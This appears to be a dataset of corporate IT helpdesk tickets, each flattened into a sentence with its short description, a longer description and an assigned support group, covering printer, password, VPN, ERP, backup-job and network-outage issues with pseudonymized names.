, is assigned to Assignment group: GRP\_21.Ticket with Short description: unable to print from tc53\_ps printer, Description: unable to print from tc53\_ps printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to printer , Description: unable to connect to printer , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print, keeps asking to install driver for printer, Description: unable to print, keeps asking to install driver for printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print. , Description: i am not able to print in usa. , is assigned to Assignment group: GRP\_0.Ticket with Short description: npr issues, Description: i need access to the npr template. i can load the site but cannot enter a customer., is assigned to Assignment group: GRP\_21.Ticket with Short description: creating a group in collaboration\_platform - get error message, Description: i am trying to create a group under people in collaboration\_platform - get an error message that "the ability to create groups has been turned off by the person who manages your email., is assigned to Assignment group: GRP\_16.Ticket with Short description: approve primary email if crm user "kpobysnc tqvefyui" in production, Description: approve primary email of the crm qlhmawgi sgwipoxn called " kpobysnc tqvefyui" in msd crm production , is assigned to Assignment group: GRP\_16.Ticket with Short description: computer won't connect to printer - keeps installing drivers, Description: hello, it team! this afternoon, my computer has stopped connecting to printer cl28\_ps. when i attempt to print a document, it prompts me to install a driver for the printer. i let it do that and re-open the document. when i try to print again, it does the same thing and then tells me it cannot print. this is the main printer that i have been using since february, so i'm not sure why it has suddenly stopped working. if you could please assist me when you get a moment, i'd appreciate it. i will print to another nearby printer in the meantime (it is allowing me to print to this other network printer). if you need to contact me, please feel free to call me at or i can be reached via skype. , is assigned to Assignment group: GRP\_0.Ticket with Short description: setup client on e7350 from a e5440 laptop, Description: setup client on e7350 from a e5440 laptop, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to open a powerpoint file, Description: name:lpriokwa bgwneavl
language:
browser:microsoft internet explorer
email:lpriokwa.bgwneavl@gmail.com
customer number:
telephone:
summary:i am having difficulty opening a power point. won't open and says "repair" when i click, it cannot open., is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot sync my internal collaboration\_platform notebook., Description: i updated my password using password\_management\_tool and now my collaboration\_platform is asking me to enter credentials. if i enter my old password, collaboration\_platform says it is incorrect. if i enter my newly updated password, the message "contacting the server for information" pops up, dierppears, then it asks me to sign in again. this collaboration\_platform is shared on collaboration\_platform between my coworkers and i. i have attached a video to show what is happening. , is assigned to Assignment group: GRP\_0.Ticket with Short description: generirtc issue about msoffice version, Description: generirtc issue about msoffice version, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 - german payroll collaboration\_platform site requested, Description:
received from: sbgvrncj.idfhtoqv@gmail.com
hello,
please create a standard collaboration\_platform template site for the german payroll implementation project.
owners: jywvemun qngschtz and lixwgnto krutnylz as backup.
full update access should also be usaed to: lixwgnto krutnylz, przcxbml vnjdghui, tvcdfqgp nrbcqwgj, johyue ghjuardt, jywvemun qngschtz, jfcrdavy sxpotjlu , nicrhty edmhihryu
we will also require some vendors external to company to have access to certain folders as well.
please inform as soon as the site have been created.
many , is assigned to Assignment group: GRP\_16.Ticket with Short description: erp password reset, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
hakim belhadjhamida
erp password locked as i have entered wrong one. by the way i changed my password this morning
rakthyesh ramdntythanjesh
hi hakityum
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock for laffekr, Description: erp SID\_34 account unlock for laffekr, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_859811, Description: ticket update on inplant\_859811, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_859826, Description: ticket update on inplant\_859826, is assigned to Assignment group: GRP\_0.Ticket with Short description: background reports in erp are not running, Description: hello,\_x000D\_
\_x000D\_
my nightly erp reports are no longer running each day. i have reset them and they still will not run.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: i am locked out of crm and need to get in to get a shipment out today, Description: name:vfjsubao yihelxgp
language:
browser:netscape
email:vfjsubao.yihelxgp@gmail.com
customer number:
telephone:
summary:i am locked out of crm and need to get in to get a shipment out today, is assigned to Assignment group: GRP\_0.Ticket with Short description: please activate my new iphone, it is a company owned device., Description: from: nwfodmhc exurcwkm
sent: tuesday, september 13, 2016 9:10 pm
to: fmzdkyqv dbrslnhe
subject: re: sab wg: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.
hi michghytuael,
your device has been successfully activated.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to windows , Description: unable to log in to windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: lhqsm455 :'h' drive is over 85% space consumed. space available: 3 gb, Description: volume: h:\ label:dat4-lhqsm455 3eea8d28 on server: lhqsm455 is over \_x000D\_
85% space consumed. space available: 3.0 g , is assigned to Assignment group: GRP\_1.Ticket with Short description: audio doesnt work anymore on my laptop, Description: neither my earbuds nor plantronics are working anymore. , is assigned to Assignment group: GRP\_0.Ticket with Short description: printer installation, Description: name:fbhyeksq caexmols
language:
browser:microsoft internet explorer
email:fbhyeksq.caexmols@gmail.com
customer number:
telephone:
summary:unable to print. have updated drivers, however still saying needs updated, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook does not start, Description: outlook does not start, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: unlocked. and confirmed with user., is assigned to Assignment group: GRP\_0.Ticket with Short description: locked out of password\_management\_tool, Description:
received from: vfjsubao.yihelxgp@gmail.com
can you please reset my password?
[cid:image001.png@01d20db0.745c31d0]
vfjsubao yihelxgp
customer service representative
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to tx02 and tx03, Description: unable to connect to tx02 and tx03, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook does not start., Description: outlook does not start., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket udpate on inplant\_856928, Description: \_x000D\_
\_x000D\_
from: fumkcsji sarmtlhyanardhanan \_x000D\_
sent: tuesday, september 13, 2016 8:36 pm\_x000D\_
to: bvwepigr ekmarvgd\_x000D\_
cc: vyluaepi dtwfaejr\_x000D\_
subject: inc1547039\_x000D\_
\_x000D\_
hi jashyht\_x000D\_
\_x000D\_
user had called to mention that he needs to be able to get on wireless as he will be travelling.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: add rqiw8514281 to rqigfgage qlhmawgi sgwipoxn, Description: name:seghyurghei
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:can you add rqiw8514281 to rqigfgage qlhmawgi sgwipoxn, is assigned to Assignment group: GRP\_34.Ticket with Short description: time cards missing from service -now & change of supervisors name, Description: from: sagfhosh karhtyiio
sent: tuesday, september 13, 2016 11:04 am
to: rabhtui edula
cc: ufpzergq zchjbfdehivashankaraiah; rkupnshb gsmzfojw
subject: inc1540911:time cards missing from ticketing\_tool & change of supervisors name
hi rabhtui,
it looks like timecards for last two weeks in august 2016 & 1st week of september 2016 are missing from service -now. i also checked with my team member venkat he is also having same issue.
and also request you to change the supervisor name from erihyuk m baurhty to xabkyoug wdkyiqfx.
inc1540911 is assigned to you please take a look. please revert for any clarifications.
, is assigned to Assignment group: GRP\_36.Ticket with Short description: pdf files are not getting saved (freezes) from server ., Description: pdf files are not getting saved (freezes) from server ., is assigned to Assignment group: GRP\_0.Ticket with Short description: call disconnected due to vpn disconnection, Description: call disconnected due to vpn disconnection, is assigned to Assignment group: GRP\_0.Ticket with Short description: call disconnected due to vpn disconnection, Description: call disconnected due to vpn disconnection, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print from cl\_75, Description: unable to print from cl\_75, is assigned to Assignment group: GRP\_0.Ticket with Short description: german call // caller disconnected, Description: german call // caller disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: microsoft word stopped working - unable to open files, Description: microsoft word stopped working - unable to open files, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wanted to contact hr, Description: user wanted to contact hr, is assigned to Assignment group: GRP\_0.Ticket with Short description: password expired, Description: password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_585 failed in job\_scheduler at: 09/13/2016 10:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_585 failed in job\_scheduler at: 09/13/2016 10:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: frequently getting error in outlook application., Description: frequently getting error in outlook application. error message is attached., is assigned to Assignment group: GRP\_19.Ticket with Short description: call got disconnected as vpn went off for a while, Description: call got disconnected as vpn went off for a while, is assigned to Assignment group: GRP\_0.Ticket with Short description: auto output for inwarehouse\_tools, Description: auto output for inwarehouse\_tools. siemens cm 81873983 is set up to auto output inwarehouse\_tools to service@company.com however these are not being received in email to trigger on-line invoicing on customer website., is assigned to Assignment group: GRP\_13.Ticket with Short description: printer problem / issue information - recurring problem, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? all printers\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? says has to install a driver. won't print.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
all documents\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? all systems\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no and yes\_x000D\_
\_x000D\_
â€¢ if erp system, which system? all systems\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_12.Ticket with Short description: zcor0003; variants plant\_271 and rodstock not working in erp, Description: zcor0003; variants plant\_271 and rodstock not working in erp
, is assigned to Assignment group: GRP\_44.Ticket with Short description: unable to create a new expense, Description: unable to create a new expense as its showing an infotype error., is assigned to Assignment group: GRP\_0.Ticket with Short description: sandir02 (usa,pa):the interface fc9/45 (10.1.102.202)is down since at 9:09 am et on 09/13., Description: sandir02 (usa,pa):the interface fc9/45 (10.1.102.202)is down since at 9:09 am et on 09/13., is assigned to Assignment group: GRP\_8.Ticket with Short description: inwarehouse\_tools were not included to payment proposal, Description: inwarehouse\_tools were not included to payment proposal, is assigned to Assignment group: GRP\_10.Ticket with Short description: account unlocked, Description: account unlocked, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_859389, Description: ticket update on inplant\_859389, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from private number // got disconnected, Description: call from private number // got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: i am not able to connect to my regular printer or any printer. ts02 on HostName\_769, Description: x5380 , is assigned to Assignment group: GRP\_0.Ticket with Short description: company-na-usa-usa-switch-tc02-1-2960-access-sw01.company.com:interface: fastethernet0/3 Â· furnace pc ray jankowski is do, Description: company-na-usa-usa-switch-tc02-1-2960-access-sw01.company.com\_x000D\_
: interface: fastethernet0/3 Â· furnace pc ray jankowski is down., is assigned to Assignment group: GRP\_8.Ticket with Short description: maschinen pc von r241 im bereich kentip lÃ¤sst sich nicht mehr starten;, Description: maschinen pc von r241 im bereich kentip lÃ¤sst sich nicht mehr starten;, is assigned to Assignment group: GRP\_33.Ticket with Short description: erp probleme, Description: wenn ich am rechner evh8114148 im erp eine zeichnung Ã¶ffnen will schlieÃŸt erp. dann muss ich mich neu einloggen.\_x000D\_
es wurden bereits zwei tickets geschrieben. aber das problem wurde bisher nicht behoben., is assigned to Assignment group: GRP\_0.Ticket with Short description: impossible to remove "country of origin" data on inwarehouse\_tools for export customer 70202027, Description: we've made a uacyltoe hxgaycze with xawlkiey demjqrfl in SID\_1 - inwarehouse\_tool number 0157138137\_x000D\_
there is also inwarehouse\_tool 0159117484 and proforma 0159122287 in SID\_34 as examples (please note that english sentences are automatic ones and french are manual ones).\_x000D\_
on customer master level - classification i checked "no" on print export info, but it doesn't work.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: urgent!!!!! personnel number not accepted by travel expense manager in erp, Description: personnel number not accepted by travel expense manager in erp, is assigned to Assignment group: GRP\_52.Ticket with Short description: HostName\_1043:average (4 samples) disk free on c:\ is now 6%, Description: HostName\_1043:average (4 samples) disk free on c:\ is now 6%, is assigned to Assignment group: GRP\_12.Ticket with Short description: zurÃ¼cksetzen auf 12.09.2016, Description:
received from: cflrqoew.qbgjwaye@gmail.com
hallo
kÃ¶nnen sie mir helfen, die unten gekennzeichnete datenbank plant\_113 stock report\_daily.xlsx auf den 12.09.16 zurÃ¼ckzusetzen
danke
[cid:image001.png@01d20db4.06570281]
cflrqoew qbgjwaye
process planning
cflrqoew.qbgjwaye@gmail.com<mailto:cflrqoew.qbgjwaye@gmail.com>
company company produktions gmbh & co. kg, geschÃ¤ftsfÃ¼hrer: dr. jofghyuach fabry, phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit portal \ujtmipzv cwdzunxs, Description: probleme mit portal \ujtmipzv cwdzunxs, is assigned to Assignment group: GRP\_24.Ticket with Short description: zeiterfassung funktioniert nicht \we\_qs \qualitÃ¤tsmanagement \xwirzvda okhyipgr, Description: zeiterfassung funktioniert nicht \we\_qs \qualitÃ¤tsmanagement \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: scanner metroligic fÃ¼r rechner we\_wu160 defekt \zedlet, Description: canner metroligic fÃ¼r rechner we\_wu160 defekt \zedlet, is assigned to Assignment group: GRP\_24.Ticket with Short description: install company barcode fÃ¼r ewew8323504 \vzqomdgt jwoqbuml, Description: install company barcode fÃ¼r ewew8323504 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/13/2016 04:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/13/2016 04:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: repeat print in tips printer, Description: repeat print in tips printer, is assigned to Assignment group: GRP\_31.Ticket with Short description: HostName\_1193 - f:\ label:dat1-HostName\_1193 36e52bcd is over 85% space consumed. space available: 1.4 g, Description: HostName\_1193 - f:\ label:dat1-HostName\_1193 36e52bcd is over 85% space consumed. space available: 1.4 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: qlhmawgi sgwipoxn we\_wu160 unlock, Description: qlhmawgi sgwipoxn we\_wu160 unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: purchasing freetext requisitions cannot be created, Description: we are having serious issues with creating shopping cars in purchasing.\_x000D\_
a buyer group of apac is defaulting and not changeable.\_x000D\_
since this buyer group belongs to a different purch. org. it causes an error that cannot be overwritten.\_x000D\_
it seems, this only happens when creating freetext shopping carts.\_x000D\_
we need immediate action on this. \_x000D\_
no one can create freetext requisitions at all.\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: vip2- outlook not working, asking for password , Description: vip2- outlook not working, asking for password. no password prompt is coming up., is assigned to Assignment group: GRP\_0.Ticket with Short description: we need a dn for 5018069717 material 2837572 pcs 25 plant plant\_197 thanks, Description: we need a dn for 5018069717 material 2837572 pcs 25 plant plant\_197 , is assigned to Assignment group: GRP\_6.Ticket with Short description: can not access in SID\_1, Description: can not access in SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: fehler bei bestellung in -purchasing- katalog, Description:
received from: pltkqrfd.bfohnjmz@gmail.com
guten morgen,
wie eben mit hotline besprochen, sende ich die fehlermeldung die beim einkaufen in purchasing katalog erscheint.
[cid:hardcopy-cid]
contact :, is assigned to Assignment group: GRP\_29.Ticket with Short description: need cute pdf installed., Description: need cute pdf installed., is assigned to Assignment group: GRP\_19.Ticket with Short description: vpn not working, Description: from: yuxloigj tzfwjxhe \_x000D\_
sent: tuesday, september 13, 2016 10:50 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: re: action required: please connect to the new vpn url before january 30\_x000D\_
\_x000D\_
hello:\_x000D\_
\_x000D\_
my vpn is not working. kindly help. , is assigned to Assignment group: GRP\_0.Ticket with Short description: user tfazwrdv upwonzvdâ€™s pc name has been changed to atcl8316840 (old pc name : atclx205739), Description: \_x000D\_
\_x000D\_
received from: sthyuraj.sektyhar@company.com\_x000D\_
\_x000D\_
user tfazwrdv upwonzvd's pc name has been changed to atcl8316840 (old pc name : atclx205739)\_x000D\_
user wants this to be updated in telephony\_software system for i3 updates\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
from: may yi <zupifghd.vdqxepun@gmail.com<mailto:zupifghd.vdqxepun@gmail.com>>\_x000D\_
date: 13 september 2016 at 09:29:08 gmt+5:30\_x000D\_
to: rajyutyi kuttiadi <xezjvnyr.hmjwknxs@gmail.com<mailto:xezjvnyr.hmjwknxs@gmail.com>>\_x000D\_
cc: obuwfnkm ufpwmybi <obuwfnkm.ufpwmybi@gmail.com<mailto:obuwfnkm.ufpwmybi@gmail.com>>, tfazwrdv upwonzvd <tfazwrdv.upwonzvd@gmail.com<mailto:tfazwrdv.upwonzvd@gmail.com>>\_x000D\_
subject: fw: computer name change in telephony\_software\_x000D\_
hello rajyutyi,\_x000D\_
could you help to put below stations to company net?\_x000D\_
\_x000D\_
user name\_x000D\_
\_x000D\_
new pc name/\_x000D\_
\_x000D\_
mac address\_x000D\_
\_x000D\_
tfazwrdv upwonzvd\_x000D\_
\_x000D\_
atcl8316840\_x000D\_
\_x000D\_
00:04:f2:90:54:b2\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_7.Ticket with Short description: ethics, Description: \_x000D\_
\_x000D\_
received from: gasbfqvp.fmvqgjih@gmail.com\_x000D\_
\_x000D\_
guten morgen,\_x000D\_
\_x000D\_
leider kann ich den kurs nicht absolvieren, da ich keinen zugang bekomme. bis hierher geht's.\_x000D\_
\_x000D\_
[cid:image001.png@01d20d93.7193c930]\_x000D\_
\_x000D\_
mit den besten wÃ¼nschen und grÃ¼ÃŸen\_x000D\_
\_x000D\_
gasbfqvp fmvqgjih\_x000D\_
designer, product engineering â€“ wear solutions\_x000D\_
company shared services gmbh\_x000D\_
\_x000D\_
tel.: +49 (0) 9279 - 80 - 121\_x000D\_
fax +49 (0) 9279 - 80 â€“ 220\_x000D\_
mobil +49 (0) 151 - 57634082\_x000D\_
\_x000D\_
e- mail adresse: gasbfqvp.fmvqgjih@gmail.com<mailto:gasbfqvp.fmvqgjih@gmail.com>\_x000D\_
\_x000D\_
www.company.com<\_x000D\_
\_x000D\_
eckersdorfer straÃŸe 10\_x000D\_
95490 germany/ bayern/ germany\_x000D\_
\_x000D\_
geschÃ¤ftsfÃ¼hrer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq\_x000D\_
\_x000D\_
sitz/registered office: fÃ¼rth/bay. â€“ registergerirtcht/listed in the court register: fÃ¼rth/bay. hra 7481\_x000D\_
persÃ¶nlich haftende gesellschafterin/general partner: company deutschland gmbh\_x000D\_
sitz/registered office: germany. â€“ registergerirtcht/listed in the court register: bad homburg v.d.h. hrb 7492\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_23.Ticket with Short description: i can't do purchase requisition at purchasing - see attachment, Description: i can't do purchase requisition at purchasing - see attachment\_x000D\_
account 81377661 requires a assignment to a co object ! i can't select a byer, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/13/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/13/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: computer can't started , Description: computer can't started , is assigned to Assignment group: GRP\_31.Ticket with Short description: need to install nvyjtmca xjhpznds applications, Description: need to install nvyjtmca xjhpznds applications\_x000D\_
1) job\_scheduler\_x000D\_
2) backup\_tool\_x000D\_
3) vmware\_x000D\_
4) vnc viewer\_x000D\_
\_x000D\_
while trying to install these applications it is asking for administration access., is assigned to Assignment group: GRP\_19.Ticket with Short description: no new fax-in on ricoh fax folder at company malaysia - public (\\amssm003) (q:), Description: we cannot see new fax-in to "public (\\amssm003) (q:) > ricoh fax folder" since end of august 2016. could you please check and fix if there have been any problems?\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: outloot è€æ˜¯æç¤ºè¾“å…¥å¯†ç ï¼Œæ›´æ”¹å¯†ç åŽæ— æ•ˆï¼Œè¯·è½¬å°è´ºã€‚, Description: outloot è€æ˜¯æç¤ºè¾“å…¥å¯†ç ï¼Œæ›´æ”¹å¯†ç åŽæ— æ•ˆï¼Œè¯·è½¬å°è´ºã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: job bkwin\_search\_server\_qa\_daily failed in job\_scheduler at: 09/12/2016 23:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_search\_server\_qa\_daily failed in job\_scheduler at: 09/12/2016 23:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: extract file for the request 2626619 , Description: extract the file for the request 2626619 using rscrm bapi, is assigned to Assignment group: GRP\_9.Ticket with Short description: please help qskwgjym bsqdaxhf delete paramdntyeters and payment run in t-code f110, Description: please help qskwgjym bsqdaxhf delete paramdntyeters and payment run in t-code f110, is assigned to Assignment group: GRP\_10.Ticket with Short description: job SID\_37stat failed in job\_scheduler at: 09/12/2016 22:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37stat failed in job\_scheduler at: 09/12/2016 22:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: gr error, Description: \_x000D\_
\_x000D\_
received from: gkwcxzum.answkqpe@gmail.com\_x000D\_
\_x000D\_
dear all\_x000D\_
\_x000D\_
would you please help us out ? we can't complete gr for below.\_x000D\_
\_x000D\_
mm 5119707 qty 108\_x000D\_
po 5019190021\_x000D\_
\_x000D\_
[ì„¤ëª…: cid:image001.png@01d20dac.8cd597f0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: switch down - company-ap-ind-kirty-coating-2960s-access-sw01 located at india kirty is down since 08:18 pm et on 09/12., Description: switch down - company-ap-ind-kirty-coating-2960s-access-sw01 located at india kirty is down since 08:18 pm et on 09/12., is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_tax\_interface\_dev\_daily failed in job\_scheduler at: 09/12/2016 22:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 8 \_x000D\_
failed disk agents ........... 0 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 8 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 0 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 92176 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 0 \_x000D\_
\_x000D\_
job bkwin\_tax\_interface\_dev\_daily failed in job\_scheduler at: 09/12/2016 22:34:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: could you resolve item category error during zfd ordering?, Description: \_x000D\_
\_x000D\_
received from: fbvpcytz.nokypgvx@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
we are facing item category issue for zfd(free of charge) order so#35900902â€¦now we cannot select item category zklnâ€¦\_x000D\_
could you please check and resolve the issue?\_x000D\_
\_x000D\_
order detail:\_x000D\_
sales org : 1306\_x000D\_
so#35900902\_x000D\_
order type : zfd\_x000D\_
mm#4855028\_x000D\_
qty : 10pcs\_x000D\_
delivery plant : plant\_317\_x000D\_
usage : product lost intrans\_x000D\_
\_x000D\_
we cannot select item category "zkln" without error. hence, erp cannot identify this open order. we cannot see this open order at md04 screen.\_x000D\_
[cid:image003.jpg@01d20db0.cf5931a0]\_x000D\_
\_x000D\_
[cid:image004.jpg@01d20db0.cf5931a0]\_x000D\_
\_x000D\_
[cid:image005.png@01d20db0.6fa42800]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 09/12/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bma@HostName\_1302.hq.company.com "lib6\_drive3" time: 9/12/2016 10:01:05 pm\_x000D\_
[90:51] /dev/rmt39.1\_x000D\_
cannot write to device ([5] i/o error)\_x000D\_
\_x000D\_
[critical] from: vbda@HostName\_184.hq.company.com "/nfsbackup - hana SID\_62 - differential backup" time: 9/12/2016 10:01:41 pm\_x000D\_
received abort request from sm => aborting.\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 1 \_x000D\_
failed disk agents ........... 1 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 2 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 0 \_x000D\_
failed media agents .......... 1 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 553296 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 2 \_x000D\_
\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 09/12/2016 22:02:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_46filesys failed in job\_scheduler at: 09/12/2016 22:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bma@HostName\_1302.hq.company.com "lib6\_drive2" time: 9/12/2016 10:01:08 pm\_x000D\_
[90:51] /dev/rmt51.1\_x000D\_
cannot write to device ([5] i/o error)\_x000D\_
\_x000D\_
[critical] from: vbda@HostName\_229.hq.company.com "HostName\_229-bk.hq.company.com [/usr/erp]" time: 9/12/2016 10:01:44 pm\_x000D\_
received abort request from sm => aborting.\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 22 \_x000D\_
failed disk agents ........... 2 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 24 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 0 \_x000D\_
failed media agents .......... 1 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 44876 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 4 \_x000D\_
\_x000D\_
job SID\_46filesys failed in job\_scheduler at: 09/12/2016 22:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_38filesys failed in job\_scheduler at: 09/12/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 24 \_x000D\_
failed disk agents ........... 2 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 26 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 0 \_x000D\_
failed media agents .......... 1 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 73883 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 4 \_x000D\_
\_x000D\_
job SID\_38filesys failed in job\_scheduler at: 09/12/2016 22:02:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: lnssm005: shop\_floor\_app application is down on 9/12/2016 at 1:07 pm, Description: the shop\_floor\_app is reporting a : unreachable status on, lnssm005. please investigate, is assigned to Assignment group: GRP\_1.Ticket with Short description: is SID\_34 down? i keep receiving a balancing error., Description: is SID\_34 down? i keep receiving a balancing error., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn, Description: \_x000D\_
\_x000D\_
received from: udetjzmn.ayueswcm@gmail.com\_x000D\_
\_x000D\_
good evening\_x000D\_
\_x000D\_
i have lost my vpn login icon. can this be reinstated?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype and outlook not launching., Description: skype and outlook not launching.
